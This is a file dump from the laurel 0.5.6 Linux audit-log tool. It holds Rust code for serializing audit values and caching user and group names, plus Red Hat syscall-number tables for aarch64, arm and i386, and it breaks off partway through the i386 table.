self.raw, value: v, } .try_into() .unwrap_or_else(|_| vec![b'x']), ); } } s.serialize_str(&buf.to_quoted_string()) } Value::Number(n) => n.serialize(s), Value::Map(vs) => { let mut map = s.serialize_map(Some(vs.len()))?; for (k, v) in vs { match k { SimpleKey::Str(r) => { map.serialize_key(&self.raw[r.clone()].to_quoted_string())? } SimpleKey::Literal(n) => map.serialize_key(n)?, } match v { SimpleValue::Str(r) => { map.serialize_value(&self.raw[r.clone()].to_quoted_string())? } SimpleValue::Number(n) => map.serialize_value(&n)?, } } map.end() } Value::Skipped((args, bytes)) => { let mut map = s.serialize_map(Some(2))?; map.serialize_entry("skipped_args", args)?; map.serialize_entry("skipped_bytes", bytes)?; map.end() } Value::Literal(v) => s.collect_str(v), } } } impl PartialEq for RValue<'_> { fn eq(&self, other: &str) -> bool { self == other.as_bytes() } } impl PartialEq<[u8]> for RValue<'_> { fn eq(&self, other: &[u8]) -> bool { if let Ok(v) = (*self).try_into() as Result, _> { return v == other; } false } } /// The Offset trait provides an implementation for adding offset to Range. trait Offset { fn offset(&self, offset: usize) -> Self; } impl Offset for Range { fn offset(&self, offset: usize) -> Self { Range { start: self.start + offset, end: self.end + offset, } } } laurel-0.5.6/src/userdb.rs000064400000000000000000000042031046102023000135400ustar 00000000000000use std::collections::BTreeMap; use std::ffi::CStr; use serde::Serialize; use libc; fn get_user(uid: u32) -> Option { let passwd = unsafe { libc::getpwuid(uid as libc::uid_t) }; if passwd.is_null() { None } else { let passwd = unsafe { *passwd }; Some( unsafe { CStr::from_ptr(passwd.pw_name) } .to_string_lossy() .to_string(), ) } } fn get_group(gid: u32) -> Option { let group = unsafe { libc::getgrgid(gid as libc::gid_t) }; if group.is_null() { None } else { let group = unsafe { *group }; Some( unsafe { CStr::from_ptr(group.gr_name) } .to_string_lossy() .to_string(), ) } } /// Implementation of a credentials store that caches user and group /// lookups by uid and gid, respectively. #[derive(Debug, Default, Serialize)] pub struct UserDB { pub users: BTreeMap, i64)>, pub groups: BTreeMap, i64)>, } fn now() -> i64 { unsafe { libc::time(std::ptr::null_mut()) as i64 } } impl UserDB { pub fn populate(&mut self) { for id in 0..1023 { if let Some(user) = get_user(id) { self.users.insert(id, (Some(user), now())); } if let Some(group) = get_group(id) { self.groups.insert(id, (Some(group), now())); } } } pub fn get_user(&mut self, uid: u32) -> Option { match self.users.get(&uid) { Some((x, t)) if *t >= now() - 1800 => x.clone(), Some(_) | None => { let user = get_user(uid); self.users.insert(uid, (user.clone(), now())); user } } } pub fn get_group(&mut self, gid: u32) -> Option { match self.groups.get(&gid) { Some((x, t)) if *t >= now() - 1800 => x.clone(), Some(_) | None => { let group = get_group(gid); self.groups.insert(gid, (group.clone(), now())); group } } } } laurel-0.5.6/syscall-tables/README.md000064400000000000000000000002201046102023000153130ustar 00000000000000The `*.h` files in this directory have been copied from the [Linux-audit userspace](https://github.com/linux-audit/audit-userspace) repository. laurel-0.5.6/syscall-tables/aarch64_table.h000064400000000000000000000162551046102023000166230ustar 00000000000000/* aarch64_table.h -- * Copyright 2013-23 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(0, "io_setup") _S(1, "io_destroy") _S(2, "io_submit") _S(3, "io_cancel") _S(4, "io_getevents") _S(5, "setxattr") _S(6, "lsetxattr") _S(7, "fsetxattr") _S(8, "getxattr") _S(9, "lgetxattr") _S(10, "fgetxattr") _S(11, "listxattr") _S(12, "llistxattr") _S(13, "flistxattr") _S(14, "removexattr") _S(15, "lremovexattr") _S(16, "fremovexattr") _S(17, "getcwd") _S(18, "lookup_dcookie") _S(19, "eventfd2") _S(20, "epoll_create1") _S(21, "epoll_ctl") _S(22, "epoll_pwait") _S(23, "dup") _S(24, "dup3") _S(25, "fcntl") _S(26, "inotify_init1") _S(27, "inotify_add_watch") _S(28, "inotify_rm_watch") _S(29, "ioctl") _S(30, "ioprio_set") _S(31, "ioprio_get") _S(32, "flock") _S(33, "mknodat") _S(34, "mkdirat") _S(35, "unlinkat") _S(36, "symlinkat") _S(37, "linkat") _S(38, "renameat") _S(39, "umount2") _S(40, "mount") _S(41, "pivot_root") _S(42, "nfsservctl") _S(43, "statfs") _S(44, "fstatfs") _S(45, "truncate") _S(46, "ftruncate") _S(47, "fallocate") _S(48, "faccessat") _S(49, "chdir") _S(50, "fchdir") _S(51, "chroot") _S(52, "fchmod") _S(53, "fchmodat") _S(54, "fchownat") _S(55, "fchown") _S(56, "openat") _S(57, "close") _S(58, "vhangup") _S(59, "pipe2") _S(60, "quotactl") _S(61, "getdents") _S(62, "lseek") _S(63, "read") _S(64, "write") _S(65, "readv") _S(66, "writev") _S(67, "pread") _S(68, "pwrite") _S(69, "preadv") _S(70, "pwritev") _S(71, "sendfile") _S(72, "pselect6") _S(73, "ppoll") _S(74, "signalfd4") _S(75, "vmsplice") _S(76, "splice") _S(77, "tee") _S(78, "readlinkat") _S(79, "newfstatat") _S(80, "newfstat") _S(81, "sync") _S(82, "fsync") _S(83, "fdatasync") _S(84, "sync_file_range") _S(85, "timerfd_create") _S(86, "timerfd_settime") _S(87, "timerfd_gettime") _S(88, "utimensat") _S(89, "acct") _S(90, "capget") _S(91, "capset") _S(92, "personality") _S(93, "exit") _S(94, "exit_group") _S(95, "waitid") _S(96, "set_tid_address") _S(97, "unshare") _S(98, "futex") _S(99, "set_robust_list") _S(100, "get_robust_list") _S(101, "nanosleep") _S(102, "getitimer") _S(103, "setitimer") _S(104, "kexec_load") _S(105, "init_module") _S(106, "delete_module") _S(107, "timer_create") _S(108, "timer_gettime") _S(109, "timer_getoverrun") _S(110, "timer_settime") _S(111, "timer_delete") _S(112, "clock_settime") _S(113, "clock_gettime") _S(114, "clock_getres") _S(115, "clock_nanosleep") _S(116, "syslog") _S(117, "ptrace") _S(118, "sched_setparam") _S(119, "sched_setscheduler") _S(120, "sched_getscheduler") _S(121, "sched_getparam") _S(122, "sched_setaffinity") _S(123, "sched_getaffinity") _S(124, "sched_yield") _S(125, "sched_get_priority_max") _S(126, "sched_get_priority_min") _S(127, "sched_rr_get_interval") _S(128, "restart_syscall") _S(129, "kill") _S(130, "tkill") _S(131, "tgkill") _S(132, "sigaltstack") _S(133, "rt_sigsuspend") _S(134, "rt_sigaction") _S(135, "rt_sigprocmask") _S(136, "rt_sigpending") _S(137, "rt_sigtimedwait") _S(138, "rt_sigqueueinfo") _S(139, "rt_sigreturn") _S(140, "setpriority") _S(141, "getpriority") _S(142, "reboot") _S(143, "setregid") _S(144, "setgid") _S(145, "setreuid") _S(146, "setuid") _S(147, "setresuid") _S(148, "getresuid") _S(149, "setresgid") _S(150, "getresgid") _S(151, "setfsuid") _S(152, "setfsgid") _S(153, "times") _S(154, "setpgid") _S(155, "getpgid") _S(156, "getsid") _S(157, "setsid") _S(158, "getgroups") _S(159, "setgroups") _S(160, "uname") _S(161, "sethostname") _S(162, "setdomainname") _S(163, "getrlimit") _S(164, "setrlimit") _S(165, "getrusage") _S(166, "umask") _S(167, "prctl") _S(168, "getcpu") _S(169, "gettimeofday") _S(170, "settimeofday") _S(171, "adjtimex") _S(172, "getpid") _S(173, "getppid") _S(174, "getuid") _S(175, "geteuid") _S(176, "getgid") _S(177, "getegid") _S(178, "gettid") _S(179, "sysinfo") _S(180, "mq_open") _S(181, "mq_unlink") _S(182, "mq_timedsend") _S(183, "mq_timedreceive") _S(184, "mq_notify") _S(185, "mq_getsetattr") _S(186, "msgget") _S(187, "msgctl") _S(188, "msgrcv") _S(189, "msgsnd") _S(190, "semget") _S(191, "semctl") _S(192, "semtimedop") _S(193, "semop") _S(194, "shmget") _S(195, "shmctl") _S(196, "shmat") _S(197, "shmdt") _S(198, "socket") _S(199, "socketpair") _S(200, "bind") _S(201, "listen") _S(202, "accept") _S(203, "connect") _S(204, "getsockname") _S(205, "getpeername") _S(206, "sendto") _S(207, "recvfrom") _S(208, "setsockopt") _S(209, "getsockopt") _S(210, "shutdown") _S(211, "sendmsg") _S(212, "recvmsg") _S(213, "readahead") _S(214, "brk") _S(215, "munmap") _S(216, "mremap") _S(217, "add_key") _S(218, "request_key") _S(219, "keyctl") _S(220, "clone") _S(221, "execve") _S(222, "mmap") _S(223, "fadvise64") _S(224, "swapon") _S(225, "swapoff") _S(226, "mprotect") _S(227, "msync") _S(228, "mlock") _S(229, "munlock") _S(230, "mlockall") _S(231, "munlockall") _S(232, "mincore") _S(233, "madvise") _S(234, "remap_file_pages") _S(235, "mbind") _S(236, "get_mempolicy") _S(237, "set_mempolicy") _S(238, "migrate_pages") _S(239, "move_pages") _S(240, "rt_tgsigqueueinfo") _S(241, "perf_event_open") _S(242, "accept4") _S(243, "recvmmsg") _S(260, "wait4") _S(261, "prlimit64") _S(262, "fanotify_init") _S(263, "fanotify_mark") _S(264, "name_to_handle_at") _S(265, "open_by_handle_at") _S(266, "clock_adjtime") _S(267, "syncfs") _S(268, "setns") _S(269, "sendmmsg") _S(270, "process_vm_readv") _S(271, "process_vm_writev") _S(272, "kcmp") _S(273, "finit_module") _S(274, "sched_setattr") _S(275, "sched_getattr") _S(276, "renameat2") _S(277, "seccomp") _S(278, "getrandom") _S(279, "memfd_create") _S(280, "bpf") _S(281, "execveat") _S(282, "userfaultfd") _S(283, "membarrier") _S(284, "mlock2") _S(285, "copy_file_range") _S(286, "preadv2") _S(287, "pwritev2") _S(288, "pkey_mprotect") _S(289, "pkey_alloc") _S(290, "pkey_free") _S(291, "statx") _S(292, "io_pgetevents") _S(293, "rseq") _S(294, "kexec_file_load") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(447, "memfd_secret") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") laurel-0.5.6/syscall-tables/arm_table.h000064400000000000000000000226251046102023000161500ustar 00000000000000/* arm_table.h -- * Copyright 2009-10,2013-21 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(0, "restart_syscall") _S(1, "exit") _S(2, "fork") _S(3, "read") _S(4, "write") _S(5, "open") _S(6, "close") _S(8, "creat") _S(9, "link") _S(10, "unlink") _S(11, "execve") _S(12, "chdir") _S(13, "time") _S(14, "mknod") _S(15, "chmod") _S(16, "lchown") _S(19, "lseek") _S(20, "getpid") _S(21, "mount") _S(22, "umount") _S(23, "setuid") _S(24, "getuid") _S(25, "stime") _S(26, "ptrace") _S(27, "alarm") _S(29, "pause") _S(30, "utime") _S(33, "access") _S(34, "nice") _S(36, "sync") _S(37, "kill") _S(38, "rename") _S(39, "mkdir") _S(40, "rmdir") _S(41, "dup") _S(42, "pipe") _S(43, "times") _S(45, "brk") _S(46, "setgid") _S(47, "getgid") _S(49, "geteuid") _S(50, "getegid") _S(51, "acct") _S(52, "umount2") _S(54, "ioctl") _S(55, "fcntl") _S(57, "setpgid") _S(60, "umask") _S(61, "chroot") _S(62, "ustat") _S(63, "dup2") _S(64, "getppid") _S(65, "getpgrp") _S(66, "setsid") _S(67, "sigaction") _S(70, "setreuid") _S(71, "setregid") _S(72, "sigsuspend") _S(73, "sigpending") _S(74, "sethostname") _S(75, "setrlimit") _S(76, "getrlimit") _S(77, "getrusage") _S(78, "gettimeofday") _S(79, "settimeofday") _S(80, "getgroups") _S(81, "setgroups") _S(82, "select") _S(83, "symlink") _S(85, "readlink") _S(86, "uselib") _S(87, "swapon") _S(88, "reboot") _S(89, "readdir") _S(90, "mmap") _S(91, "munmap") _S(92, "truncate") _S(93, "ftruncate") _S(94, "fchmod") _S(95, "fchown") _S(96, "getpriority") _S(97, "setpriority") _S(99, "statfs") _S(100, "fstatfs") _S(102, "socketcall") _S(103, "syslog") _S(104, "setitimer") _S(105, "getitimer") _S(106, "stat") _S(107, "lstat") _S(108, "fstat") _S(111, "vhangup") _S(113, "syscall") _S(114, "wait4") _S(115, "swapoff") _S(116, "sysinfo") _S(117, "ipc") _S(118, "fsync") _S(119, "sigreturn") _S(120, "clone") _S(121, "setdomainname") _S(122, "uname") _S(124, "adjtimex") _S(125, "mprotect") _S(126, "sigprocmask") _S(128, "init_module") _S(129, "delete_module") _S(131, "quotactl") _S(132, "getpgid") _S(133, "fchdir") _S(134, "bdflush") _S(135, "sysfs") _S(136, "personality") _S(138, "setfsuid") _S(139, "setfsgid") _S(140, "llseek") _S(141, "getdents") _S(142, "newselect") _S(143, "flock") _S(144, "msync") _S(145, "readv") _S(146, "writev") _S(147, "getsid") _S(148, "fdatasync") _S(149, "sysctl") _S(150, "mlock") _S(151, "munlock") _S(152, "mlockall") _S(153, "munlockall") _S(154, "sched_setparam") _S(155, "sched_getparam") _S(156, "sched_setscheduler") _S(157, "sched_getscheduler") _S(158, "sched_yield") _S(159, "sched_get_priority_max") _S(160, "sched_get_priority_min") _S(161, "sched_rr_get_interval") _S(162, "nanosleep") _S(163, "mremap") _S(164, "setresuid") _S(165, "getresuid") _S(168, "poll") _S(169, "nfsservctl") _S(170, "setresgid") _S(171, "getresgid") _S(172, "prctl") _S(173, "rt_sigreturn") _S(174, "rt_sigaction") _S(175, "rt_sigprocmask") _S(176, "rt_sigpending") _S(177, "rt_sigtimedwait") _S(178, "rt_sigqueueinfo") _S(179, "rt_sigsuspend") _S(180, "pread64") _S(181, "pwrite64") _S(182, "chown") _S(183, "getcwd") _S(184, "capget") _S(185, "capset") _S(186, "sigaltstack") _S(187, "sendfile") _S(190, "vfork") _S(191, "ugetrlimit") _S(192, "mmap2") _S(193, "truncate64") _S(194, "ftruncate64") _S(195, "stat64") _S(196, "lstat64") _S(197, "fstat64") _S(198, "lchown32") _S(199, "getuid32") _S(200, "getgid32") _S(201, "geteuid32") _S(202, "getegid32") _S(203, "setreuid32") _S(204, "setregid32") _S(205, "getgroups32") _S(206, "setgroups32") _S(207, "fchown32") _S(208, "setresuid32") _S(209, "getresuid32") _S(210, "setresgid32") _S(211, "getresgid32") _S(212, "chown32") _S(213, "setuid32") _S(214, "setgid32") _S(215, "setfsuid32") _S(216, "setfsgid32") _S(217, "getdents64") _S(218, "pivot_root") _S(219, "mincore") _S(220, "madvise") _S(221, "fcntl64") _S(224, "gettid") _S(225, "readahead") _S(226, "setxattr") _S(227, "lsetxattr") _S(228, "fsetxattr") _S(229, "getxattr") _S(230, "lgetxattr") _S(231, "fgetxattr") _S(232, "listxattr") _S(233, "llistxattr") _S(234, "flistxattr") _S(235, "removexattr") _S(236, "lremovexattr") _S(237, "fremovexattr") _S(238, "tkill") _S(239, "sendfile64") _S(240, "futex") _S(241, "sched_setaffinity") _S(242, "sched_getaffinity") _S(243, "io_setup") _S(244, "io_destroy") _S(245, "io_getevents") _S(246, "io_submit") _S(247, "io_cancel") _S(248, "exit_group") _S(249, "lookup_dcookie") _S(250, "epoll_create") _S(251, "epoll_ctl") _S(252, "epoll_wait") _S(253, "remap_file_pages") _S(256, "set_tid_address") _S(257, "timer_create") _S(258, "timer_settime") _S(259, "timer_gettime") _S(260, "timer_getoverrun") _S(261, "timer_delete") _S(262, "clock_settime") _S(263, "clock_gettime") _S(264, "clock_getres") _S(265, "clock_nanosleep") _S(266, "statfs64") _S(267, "fstatfs64") _S(268, "tgkill") _S(269, "utimes") _S(270, "fadvise64_64") _S(271, "pciconfig_iobase") _S(272, "pciconfig_read") _S(273, "pciconfig_write") _S(274, "mq_open") _S(275, "mq_unlink") _S(276, "mq_timedsend") _S(277, "mq_timedreceive") _S(278, "mq_notify") _S(279, "mq_getsetattr") _S(280, "waitid") _S(281, "socket") _S(282, "bind") _S(283, "connect") _S(284, "listen") _S(285, "accept") _S(286, "getsockname") _S(287, "getpeername") _S(288, "socketpair") _S(289, "send") _S(290, "sendto") _S(291, "recv") _S(292, "recvfrom") _S(293, "shutdown") _S(294, "setsockopt") _S(295, "getsockopt") _S(296, "sendmsg") _S(297, "recvmsg") _S(298, "semop") _S(299, "semget") _S(300, "semctl") _S(301, "msgsnd") _S(302, "msgrcv") _S(303, "msgget") _S(304, "msgctl") _S(305, "shmat") _S(306, "shmdt") _S(307, "shmget") _S(308, "shmctl") _S(309, "add_key") _S(310, "request_key") _S(311, "keyctl") _S(312, "semtimedop") _S(313, "vserver") _S(314, "ioprio_set") _S(315, "ioprio_get") _S(316, "inotify_init") _S(317, "inotify_add_watch") _S(318, "inotify_rm_watch") _S(319, "mbind") _S(320, "get_mempolicy") _S(321, "set_mempolicy") _S(322, "openat") _S(323, "mkdirat") _S(324, "mknodat") _S(325, "fchownat") _S(326, "futimesat") _S(327, "fstatat64") _S(328, "unlinkat") _S(329, "renameat") _S(330, "linkat") _S(331, "symlinkat") _S(332, "readlinkat") _S(333, "fchmodat") _S(334, "faccessat") _S(337, "unshare") _S(338, "set_robust_list") _S(339, "get_robust_list") _S(340, "splice") _S(341, "sync_file_range") _S(342, "tee") _S(343, "vmsplice") _S(344, "move_pages") _S(345, "getcpu") _S(347, "kexec_load") _S(348, "utimensat") _S(349, "signalfd") _S(350, "timerfd_create") _S(351, "eventfd") _S(352, "fallocate") _S(353, "timerfd_settime") _S(354, "timerfd_gettime") _S(355, "signalfd4") _S(356, "eventfd2") _S(357, "epoll_create1") _S(358, "dup3") _S(359, "pipe2") _S(360, "inotify_init1") _S(361, "preadv") _S(362, "pwritev") _S(363, "rt_tgsigqueueinfo") _S(364, "perf_event_open") _S(365, "recvmmsg") _S(366, "accept4") _S(367, "fanotify_init") _S(368, "fanotify_mark") _S(369, "prlimit64") _S(370, "name_to_handle_at") _S(371, "open_by_handle_at") _S(372, "clock_adjtime") _S(373, "syncfs") _S(374, "sendmmsg") _S(375, "setns") _S(376, "process_vm_readv") _S(377, "process_vm_writev") _S(378, "kcmp") _S(379, "finit_module") _S(380, "sched_setattr") _S(381, "sched_getattr") _S(382, "renameat2") _S(383, "seccomp") _S(384, "getrandom") _S(385, "memfd_create") _S(386, "bpf") _S(387, "execveat") _S(388, "userfaultfd") _S(389, "membarrier") _S(390, "mlock2") _S(391, "copy_file_range") _S(392, "preadv2") _S(393, "pwritev2") _S(394, "pkey_mprotect") _S(395, "pkey_alloc") _S(396, "pkey_free") _S(397, "statx") _S(398, "rseq") _S(399, "io_pgetevents") _S(400, "migrate_pages") _S(401, "kexec_file_load") _S(403, "clock_gettime64") _S(404, "clock_settime64") _S(405, "clock_adjtime64") _S(406, "clock_getres_time64") _S(407, "clock_nanosleep_time64") _S(408, "timer_gettime64") _S(409, "timer_settime64") _S(410, "timerfd_gettime64") _S(411, "timerfd_settime64") _S(412, "utimensat_time64") _S(413, "pselect6_time64") _S(414, "ppoll_time64") _S(416, "io_pgetevents_time64") _S(417, "recvmmsg_time64") _S(418, "mq_timedsend_time64") _S(419, "mq_timedreceive_time64") _S(420, "semtimedop_time64") _S(421, "rt_sigtimedwait_time64") _S(422, "futex_time64") _S(423, "sched_rr_get_interval64") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") laurel-0.5.6/syscall-tables/i386_table.h000064400000000000000000000237431046102023000160640ustar 00000000000000/* i386_table.h -- * Copyright 2005-21 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(0, "restart_syscall") _S(1, "exit") _S(2, "fork") _S(3, "read") _S(4, "write") _S(5, "open") _S(6, "close") _S(7, "waitpid") _S(8, "creat") _S(9, "link") _S(10, "unlink") _S(11, "execve") _S(12, "chdir") _S(13, "time") _S(14, "mknod") _S(15, "chmod") _S(16, "lchown") _S(17, "break") _S(18, "oldstat") _S(19, "lseek") _S(20, "getpid") _S(21, "mount") _S(22, "umount") _S(23, "setuid") _S(24, "getuid") _S(25, "stime") _S(26, "ptrace") _S(27, "alarm") _S(28, "oldfstat") _S(29, "pause") _S(30, "utime") _S(31, "stty") _S(32, "gtty") _S(33, "access") _S(34, "nice") _S(35, "ftime") _S(36, "sync") _S(37, "kill") _S(38, "rename") _S(39, "mkdir") _S(40, "rmdir") _S(41, "dup") _S(42, "pipe") _S(43, "times") _S(44, "prof") _S(45, "brk") _S(46, "setgid") _S(47, "getgid") _S(48, "signal") _S(49, "geteuid") _S(50, "getegid") _S(51, "acct") _S(52, "umount2") _S(53, "lock") _S(54, "ioctl") _S(55, "fcntl") _S(56, "mpx") _S(57, "setpgid") _S(58, "ulimit") _S(59, "oldolduname") _S(60, "umask") _S(61, "chroot") _S(62, "ustat") _S(63, "dup2") _S(64, "getppid") _S(65, "getpgrp") _S(66, "setsid") _S(67, "sigaction") _S(68, "sgetmask") _S(69, "ssetmask") _S(70, "setreuid") _S(71, "setregid") _S(72, "sigsuspend") _S(73, "sigpending") _S(74, "sethostname") _S(75, "setrlimit") _S(76, "getrlimit") _S(77, "getrusage") _S(78, "gettimeofday") _S(79, "settimeofday") _S(80, "getgroups") _S(81, "setgroups") _S(82, "select") _S(83, "symlink") _S(84, "oldlstat") _S(85, "readlink") _S(86, "uselib") _S(87, "swapon") _S(88, "reboot") _S(89, "readdir") _S(90, "mmap") _S(91, "munmap") _S(92, "truncate") _S(93, "ftruncate") _S(94, "fchmod") _S(95, "fchown") _S(96, "getpriority") _S(97, "setpriority") _S(98, "profil") _S(99, "statfs") _S(100, "fstatfs") _S(101, "ioperm") _S(102, "socketcall") _S(103, "syslog") _S(104, "setitimer") _S(105, "getitimer") _S(106, "stat") _S(107, "lstat") _S(108, "fstat") _S(109, "olduname") _S(110, "iopl") _S(111, "vhangup") _S(112, "idle") _S(113, "vm86old") _S(114, "wait4") _S(115, "swapoff") _S(116, "sysinfo") _S(117, "ipc") _S(118, "fsync") _S(119, "sigreturn") _S(120, "clone") _S(121, "setdomainname") _S(122, "uname") _S(123, "modify_ldt") _S(124, "adjtimex") _S(125, "mprotect") _S(126, "sigprocmask") _S(127, "create_module") _S(128, "init_module") _S(129, "delete_module") _S(130, "get_kernel_syms") _S(131, "quotactl") _S(132, "getpgid") _S(133, "fchdir") _S(134, "bdflush") _S(135, "sysfs") _S(136, "personality") _S(137, "afs_syscall") _S(138, "setfsuid") _S(139, "setfsgid") _S(140, "_llseek") _S(141, "getdents") _S(142, "_newselect") _S(143, "flock") _S(144, "msync") _S(145, "readv") _S(146, "writev") _S(147, "getsid") _S(148, "fdatasync") _S(149, "_sysctl") _S(150, "mlock") _S(151, "munlock") _S(152, "mlockall") _S(153, "munlockall") _S(154, "sched_setparam") _S(155, "sched_getparam") _S(156, "sched_setscheduler") _S(157, "sched_getscheduler") _S(158, "sched_yield") _S(159, "sched_get_priority_max") _S(160, "sched_get_priority_min") _S(161, "sched_rr_get_interval") _S(162, "nanosleep") _S(163, "mremap") _S(164, "setresuid") _S(165, "getresuid") _S(166, "vm86") _S(167, "query_module") _S(168, "poll") _S(169, "nfsservctl") _S(170, "setresgid") _S(171, "getresgid") _S(172, "prctl") _S(173, "rt_sigreturn") _S(174, "rt_sigaction") _S(175, "rt_sigprocmask") _S(176, "rt_sigpending") _S(177, "rt_sigtimedwait") _S(178, "rt_sigqueueinfo") _S(179, "rt_sigsuspend") _S(180, "pread64") _S(181, "pwrite64") _S(182, "chown") _S(183, "getcwd") _S(184, "capget") _S(185, "capset") _S(186, "sigaltstack") _S(187, "sendfile") _S(188, "getpmsg") _S(189, "putpmsg") _S(190, "vfork") _S(191, "ugetrlimit") _S(192, "mmap2") _S(193, "truncate64") _S(194, "ftruncate64") _S(195, "stat64") _S(196, "lstat64") _S(197, "fstat64") _S(198, "lchown32") _S(199, "getuid32") _S(200, "getgid32") _S(201, "geteuid32") _S(202, "getegid32") _S(203, "setreuid32") _S(204, "setregid32") _S(205, "getgroups32") _S(206, "setgroups32") _S(207, "fchown32") _S(208, "setresuid32") _S(209, "getresuid32") _S(210, "setresgid32") _S(211, "getresgid32") _S(212, "chown32") _S(213, "setuid32") _S(214, "setgid32") _S(215, "setfsuid32") _S(216, "setfsgid32") _S(217, "pivot_root") _S(218, "mincore") _S(219, "madvise") _S(219, "madvise1") _S(220, "getdents64") _S(221, "fcntl64") _S(224, "gettid") _S(225, "readahead") _S(226, "setxattr") _S(227, "lsetxattr") _S(228, "fsetxattr") _S(229, "getxattr") _S(230, "lgetxattr") _S(231, "fgetxattr") _S(232, "listxattr") _S(233, "llistxattr") _S(234, "flistxattr") _S(235, "removexattr") _S(236, "lremovexattr") _S(237, "fremovexattr") _S(238, "tkill") _S(239, "sendfile64") _S(240, "futex") _S(241, "sched_setaffinity") _S(242, "sched_getaffinity") _S(243, "set_thread_area") _S(244, "get_thread_area") _S(245, "io_setup") _S(246, "io_destroy") _S(247, "io_getevents") _S(248, "io_submit") _S(249, "io_cancel") _S(250, "fadvise64") _S(252, "exit_group") _S(253, "lookup_dcookie") _S(254, "epoll_create") _S(255, "epoll_ctl") _S(256, "epoll_wait") _S(257, "remap_file_pages") _S(258, "set_tid_address") _S(259, "timer_create") _S(260, "timer_settime") _S(261, "timer_gettime") _S(262, "timer_getoverrun") _S(263, "timer_delete") _S(264, "clock_settime") _S(265, "clock_gettime") _S(266, "clock_getres") _S(267, "clock_nanosleep") _S(268, "statfs64") _S(269, "fstatfs64") _S(270, "tgkill") _S(271, "utimes") _S(272, "fadvise64_64") _S(273, "vserver") _S(274, "mbind") _S(275, "get_mempolicy") _S(276, "set_mempolicy") _S(277, "mq_open") _S(278, "mq_unlink") _S(279, "mq_timedsend") _S(280, "mq_timedreceive") _S(281, "mq_notify") _S(282, "mq_getsetattr") _S(283, "sys_kexec_load") _S(284, "waitid") // 285 is setaltroot but it is not defined (yet) _S(286, "add_key") _S(287, "request_key") _S(288, "keyctl") _S(289, "ioprio_set") _S(290, "ioprio_get") _S(291, "inotify_init") _S(292, "inotify_add_watch") _S(293, "inotify_rm_watch") _S(294, "migrate_pages") _S(295, "openat") _S(296, "mkdirat") _S(297, "mknodat") _S(298, "fchownat") _S(299, "futimesat") _S(300, "fstatat64") _S(301, "unlinkat") _S(302, "renameat") _S(303, "linkat") _S(304, "symlinkat") _S(305, "readlinkat") _S(306, "fchmodat") _S(307, "faccessat") _S(308, "pselect6") _S(309, "ppoll") _S(310, "unshare") _S(311, "set_robust_list") _S(312, "get_robust_list") _S(313, "splice") _S(314, "sync_file_range") _S(315, "tee") _S(316, "vmsplice") _S(317, "move_pages") _S(318, "getcpu") _S(319, "epoll_pwait") _S(320, "utimensat") _S(321, "signalfd") _S(322, "timerfd_create") _S(323, "eventfd") _S(324, "fallocate") _S(325, "timerfd_settime") _S(326, "timerfd_gettime") _S(327, "signalfd4") _S(328, "eventfd2") _S(329, "epoll_create1") _S(330, "dup3") _S(331, "pipe2") _S(332, "inotify_init1") _S(333, "preadv") _S(334, "pwritev") _S(335, "rt_tgsigqueueinfo") _S(336, "perf_event_open") _S(337, "recvmmsg") _S(338, "fanotify_init") _S(339, "fanotify_mark") _S(340, "prlimit64") _S(341, "name_to_handle_at") _S(342, "open_by_handle_at") _S(343, "clock_adjtime") _S(344, "syncfs") _S(345, "sendmmsg") _S(346, "setns") _S(347, "process_vm_readv") _S(348, "process_vm_writev") _S(349, "kcmp") _S(350, "finit_module") _S(351, "sched_setattr") _S(352, "sched_getattr") _S(353, "renameat2") _S(354, "seccomp") _S(355, "getrandom") _S(356, 